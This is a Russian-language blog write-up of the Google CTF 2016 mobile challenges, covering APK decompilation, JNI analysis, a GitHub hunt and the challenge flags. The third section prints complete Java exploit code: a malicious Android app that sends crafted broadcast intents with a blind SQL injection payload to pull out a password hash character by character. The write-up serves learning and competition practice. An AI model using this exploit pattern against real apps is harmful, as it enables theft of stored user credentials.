» » Google CTF 2016 Mobile writeups

Google CTF 2016 Mobile writeups

На прошедшем GCTF 2016 гугл предложил всего 3 задания для этой категории(в других было по 5-6), но от этого они были, возможно, даже более качественными.

1. Ill Intentions

Таск звучит так:



Do you have have ill intentions?
Ill Intentions.APK


По шкале сложности от 5 до 300 за успешное решение этого таска предлагалось 150 очков.

Итак, перед нами APK и больше ничего. Первое, что приходит на ум - установка пакета на эмулятор и декомпиляция пакета. Этим и займемся.
Здесь и далее не будем останавливаться на технических деталях, но все же стоит сказать, что сделать декомпайл с недавних пор стало можно с помощью полностью автоматизированной GUI-тулзы APK Studio. С ее помощью можно автоматизировать процесс декомпиляции и последующей сборки+подписи APK. Понятно, что весь "автомат" строится на той же связке apktool+dex2jar+(java декомпилятор, например jd). Но я предпочитаю "старинку" и произвожу декомпиляцию APK в полу-ручном режиме aka "apktool+dex2jar+jd-gui+(набор своих скриптов)".

Попытаемся установить "недобрые намерения" на эмулятор, предварительно посмотрев минимальную версию SDK Android:

[img]Google CTF 2016 Mobile writeups[/img]

У меня в распоряжении эмуляторов с шестым андройдом(Marshmallow) и на 1 версию ниже не оказалось, поэтому я решил пойти другим путем: преобразовать низкоуровневый Smali-код в Java код(classes.dex -> JAR`ник) и уже из java-исходников реконструировать приложение. Однако, не все оказалось так сладко.

Если заглянуть в манифест приложения:

Google CTF 2016 Mobile writeups

то там можно увидеть 4 активности, первая из которых не представляет никакого интереса, а последующие 3 явно говорят своими именами, что они причастны к флагу. Посмотрев в реконструированный Java-код любой из тех трёх можно увидеть интересную вещь:

Google CTF 2016 Mobile writeups

И вещь заключается в том, что рутина по вычислению флага частично вынесена на более низкий уровень кода - на уровень JNI.
Что ж, руки чешутся сразу же отыскать в нативном C++ коде функцию computeFlag(). Для этого нам нужно произвести дизассемблирование нативной библиотеки(.so).
Но то, что там(а точнее, чего там нет) не обрадует:

Google CTF 2016 Mobile writeups

IDA не говорит ни слова про computeFlag() в либе...да и в Java-коде нет нигде вызова этой функции - только импорт.
Делаем вывод, что ребята из гугла таким образом просто постебались =)

Возвращаемся к идее о реконструкции приложения(создание своего идентичного APK). Миграция Java-кода и его "дореконструкция" не составляет проблемы, но вот что реально может их создать - импорт нативных функций. Их имена уже были выше, вот они:


1) Java_com_example_application_IsThisTheRealOne_perhapsThis
2) Java_com_example_application_ThisIsTheRealOne_orThat
3) Java_com_example_application_DefinitelyNotThisOne_definitelyNotThis



Последняя функция говорит за себя(стеб от гугла уже закончился) - если ее дизассемблировать и посмотреть, то можно будет увидеть, что из нее возвращается статическая строчка - "Told you so!", поэтому про нее сразу забываем.

Имена нативных функций содержат название пакета+название класса, из которого(и только из которого) они могут быть вызваны в Java-коде - в противном случае на стадии вызова функции из высокоуровневого кода возникнет ошибка. Поэтому реставрируемое приложение должно в точности повторять имена, используемые в оригинальном APK, а вызов нативных JNI-функций должен происходить из соответствующих Java-классов.

Зная это, производим реставрацию кода. Код класса ThisIsTheRealOne и IsThisTheRealOne во многом идентичны - различается только рутина по вычислению строки(флага?) в методе клика по кнопке onclick()(см.выше).
Произведем модификацию кода, обрабатывающего клик, добавив в его конец вывод вычисленных строк в лог Android-приложения:


Log.d("CTF", i.getStringExtra("msg"));


Собрав приложение, открывать активности (ThisIsTheRealOne и IsThisTheRealOne) придется с помощью ADB утилиты AM(activity manager), т.к интерфейс приложения не позволяет этого делать в gui-режиме (хотя это можно исправить, дописав 5 строчек кода, но лень).

Вот вычисленная строка из активности ThisIsTheRealOne:


KeepTryingThisIsNotTheActivityYouAreLookingForButHereHaveSomeInternetPoints!


А вот из IsThisTheRealOne:


Congratulation!YouFoundTheRightActivityHereYouGo-CTF{IDontHaveABadjokeSorry}


Вместе с флагом, который говорит о том, что гугл плохо не шутит. Снова стёб? :)


2. Can you repo it?

Таск звучит так:


Do you think the developer of Ill Intentions knows how to set up public repositories?



По шкале сложности от 5 до 300 за успешное решение этого таска предлагалось всего 5 очков.

Во время исследования "нехороших намерений" под руку попался файл ресурсов Android приложения, содержащий строки. Там обычно много всего интересного, и этот раз не стал исключением:

Google CTF 2016 Mobile writeups

Сразу видим flag, частотный криптоанализ содержимого которого показывает, что это, скорее всего, шифр Цезаря. И правда, оказался Rot-13, но гугл стебется над тем, кто правда думает, что даже 5 баллов могут даться так просто. Делаем Rot-13(Rot-13()):


Did you think it would be that easy?


Ок. Придется думать, что ж. Нужно найти некий публичный репозиторий. Скорее всего, это GitHub. И для того, чтобы найти на его просторах флаг, необходимо что-то поистине уникальное(имя юзера или репозитория). Прямо под флагом как раз то, что и может быть таким "поистине уникальным":


<string name="git_user">l33tdev42</string>


Простой гуглинг не дает результатов, что поначалу как-то выбивает из сил...но перейдя на гитхаб и произведя поиск "l33tdev42" там, натыкаемся на уникального юзера:

Google CTF 2016 Mobile writeups

У которого 1 единственный проект с 3 коммитами...проект простоват, а коммита целых три:

Google CTF 2016 Mobile writeups

Внутри последнего как раз нужный флаг:

Google CTF 2016 Mobile writeups


ctf{TheHairCutTookALoadOffMyMind}


Признаться, 5 баллов - все же маловато за такой таск...
Это был самый первый таск из Mobile, который удалось затащить. После него показалось, что в тасках за 150 и более находятся в принципе нерешабельные задачи, но, как уже и говорилось, гугл стебется :)

3. Little Bobby Application

Таск звучит так:


Find the vulnerability, develop an exploit, and when you're ready,
submit your APK to https://bottle-brush-tree.ctfcompetition.com.
Can take up to 15 minutes to return the result.

BobbyApplication_CTF.apk

По ссылке:
Upload an APK, wait a bit for your target to load your malicious APK, and get the logs...


По шкале сложности от 5 до 300 за успешное решение этого таска предлагалось 250 очков.

Нужно найти уязвимость в Android-приложении, написать эксплоит и с помощью этого эксплоита вытащить флаг из реального юзера. Анализ работоспособности эксплоита происходит на эмуляторе на сервере. Спустя в среднем 13 минут возвращается лог приложения-эксплоита, в который можно писать все, что угодно, но лучше туда писать флаг, конечно же.
На первый взгляд страшновато, но не стоит забывать о том, что гугл любит стебаться.

Вот как выглядит Bobby-приложение:

Google CTF 2016 Mobile writeups

Простенькая форма для авторизации и возможность регистрации. Что ж, декомпайл-тайм!
Декомпиляция показала, что приложение использует Sqlite для хранения данных с интересно спроектированной таблицей Users:

Google CTF 2016 Mobile writeups

Флаг говорит о том, что инъекция - это все, что нужно сделать, чтобы получить флаг.
Динамическая часть флага - md5 от пароля пользователя. Этот-то хэш и нужно утащить с помощью эксплоита, чтобы "собрать" конечный флаг.

Ищем уязвимость.

Этот процесс прошел достаточно быстро. Приложение содержало всего 8 классов и найти уязвимый модуль не составило проблемы. Уязвимость заключалась в следующем: при старте приложение регистрировало приемник широковещательных событий, поступаемых извне:

Google CTF 2016 Mobile writeups

Обработчиком входящих broadcast`ов выступал класс-наследник BroadcastReceiver, в котором содержался следующий код:

Google CTF 2016 Mobile writeups

А вот имплементация метода checkLogin() :

Google CTF 2016 Mobile writeups

Как видно, метод не фильтрует входящие данные, которые потом используются при генерации "сырого" SQL-запроса к базе.
Ручная эксплуатация показала, что там действительно дырка в безопасности, позволяющая модифицировать запрос через форму.

Также видно, что это Blind SQLi, так как метод checkLogin() возвращает статические строки, независимые от инпута.
Но тем не менее в зависимости от количества выбранных запросом записей(больше нуля) мы можем управлять поведением этого метода, высасывая с каждым злонамеренным запросом 1 бит информации о любом поле таблицы БД (да и о самой БД и вообще о чем угодно), но нас интересует поле password, как уже говорилось выше, для "сборки" флага.

Пишем эксплоит.

Алгоритм эксплоита:

1) Запустить Bobby-приложение для того, чтобы оно запустило приемник broadcast-событий
2) Формировать malicious intent для приемника с "злыми" данными
3) Слать широковещательное событие с интентом, содержащим вредоносные данные
4) Получать ответ от приемника Bobby-приложения о результате
5) Повторять до тех пор, пока все нужные данные не будут посимвольно "высосаны"

Для реализации эксплоита достаточно двух классов. Код получился небольшой, поэтому он приведен ниже:

Главная активность эксплоита:


public class Main extends Activity {
    
    // Поиск символов по всей таблице символов Unicode
    static int L = 0, R = (int)Math.pow(2,16);
    public static int symbolNum = 0;
    
    public static Main activity = null;
    public static StringBuilder flag = new StringBuilder();

    public static void SendBroadcast()
    {        

        if(Main.symbolNum>32)
        {
            Main.Finish();
            return;
        }

        // Формируем вредоносное намерение.
        // Эксплуатация уязвимости будет происходить с использованим бинарного поиска
        int M = (L+R)/2;

        Intent maliciousIntent = new Intent();
        maliciousIntent.setAction("com.bobbytables.ctf.myapplication_INTENT");
        maliciousIntent.putExtra("username", "???\" or unicode(substr(password," + symbolNum + ",1))>" + M + " -- ");
        maliciousIntent.putExtra("password", "1");
        activity.sendBroadcast(maliciousIntent);
        
    }

    public static void Finish()
    {
        // Выводим в лог найденный флаг
        Log.d("FLAG", Main.flag.toString());
        Main.activity.finish();
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        activity = this;

        // Регистрируем приемник широковещательных событий(ответов) от onReceive() Bobby-приложения
        IntentFilter filter = new IntentFilter("com.bobbytables.ctf.myapplication_OUTPUTINTENT");
        registerReceiver(new MalReceiver(), filter);

        // Запускаем Bobby-приложение
        // (в совершенстве - нужно следить, чтобы в системе был единственный экземпляр)
        PackageManager pm = getPackageManager();
        Intent intent = pm.getLaunchIntentForPackage("bobbytables.ctf.myapplication");
        if (intent != null){
            startActivity(intent);
        }

        // Ждем некоторое время, пока активность вместе с интересующим приемником развернется
        Handler handler = new Handler();
        handler.postDelayed(new Runnable() {
            @Override
            public void run() {
                SendBroadcast();
            }
        }, 2000);

    }

}



Приемник ответов от Bobby:


public class MalReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {

        // Получаем ответ от Bobby-приложения
        String answer = intent.getStringExtra("msg");

        // SQL TRUE
        if(answer.compareToIgnoreCase("Incorrect password")==0)
        {
            // Ищем дальше
            Main.L = (Main.L + Main.R)/2;
        }
        // SQL FALSE
        else{
            // Ищем дальше
            Main.R = (Main.L + Main.R)/2;
        }

        // Нашли N-ый символ хэша пароля
        if(Main.R-Main.L <= 1)
        {
            Main.flag.append((char)Main.R);
            Main.symbolNum++;
            Main.L = 0; Main.R = (int)Math.pow(2,16);
        }

        Main.SendBroadcast();

    }
}



После этого осталось только отправить эксплоит на сервер, чтобы его протестировали.
Через 15 минут...

Гугл возвращает долгожданный лог, в котором обнаруживаем:

Google CTF 2016 Mobile writeups

Осталось плевое дело - подставить во флаг полученный хэш:


ctf{An injection is all you need to get this flag - 106b826d7d5ec465b0c5d385a41c6ff6}


Все.

Теперь немного о том, как гугл стебался над теми, кто пытался решить этот таск. Это было довольно хитро - они сразу же после старта на эмуляторе эксплоита с Bobby-приложением стартовали обезьяну(было видно в возвращенном логе), которая "бомбила" рандомными действиями все компоненты системы, из-за чего, например, время от времени закрывалась активность эксплоита. Поначалу было неясно, что прерывало работу эксплоита - ошибок в логе не было, возникали впечатления, что там ограничение по времени. Удачно высосать флаг удалось только с 3 попытки.

В коде экспоита выше приведен минимальный набор действий, демонстрирующий общую концепцию.
То, что реально получилось на практике, содержит тонну кода по защите от monkey, по запрету на запуск более 1 экземпляра приемника на стороне Bobby и т.д.скачать dle 10.5фильмы бесплатно

  • Автор: AseN
  • Комментарии: 1
  • Просмотры: 2667

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!
    • Написал: drakylar
    • Комментарии: 12
    • 3 мая 2016 12:15
      • Нравится
      • 1
    Есть ли возможность у таких виртуалок android(apk) постоянно парсить память и искать по регулярке?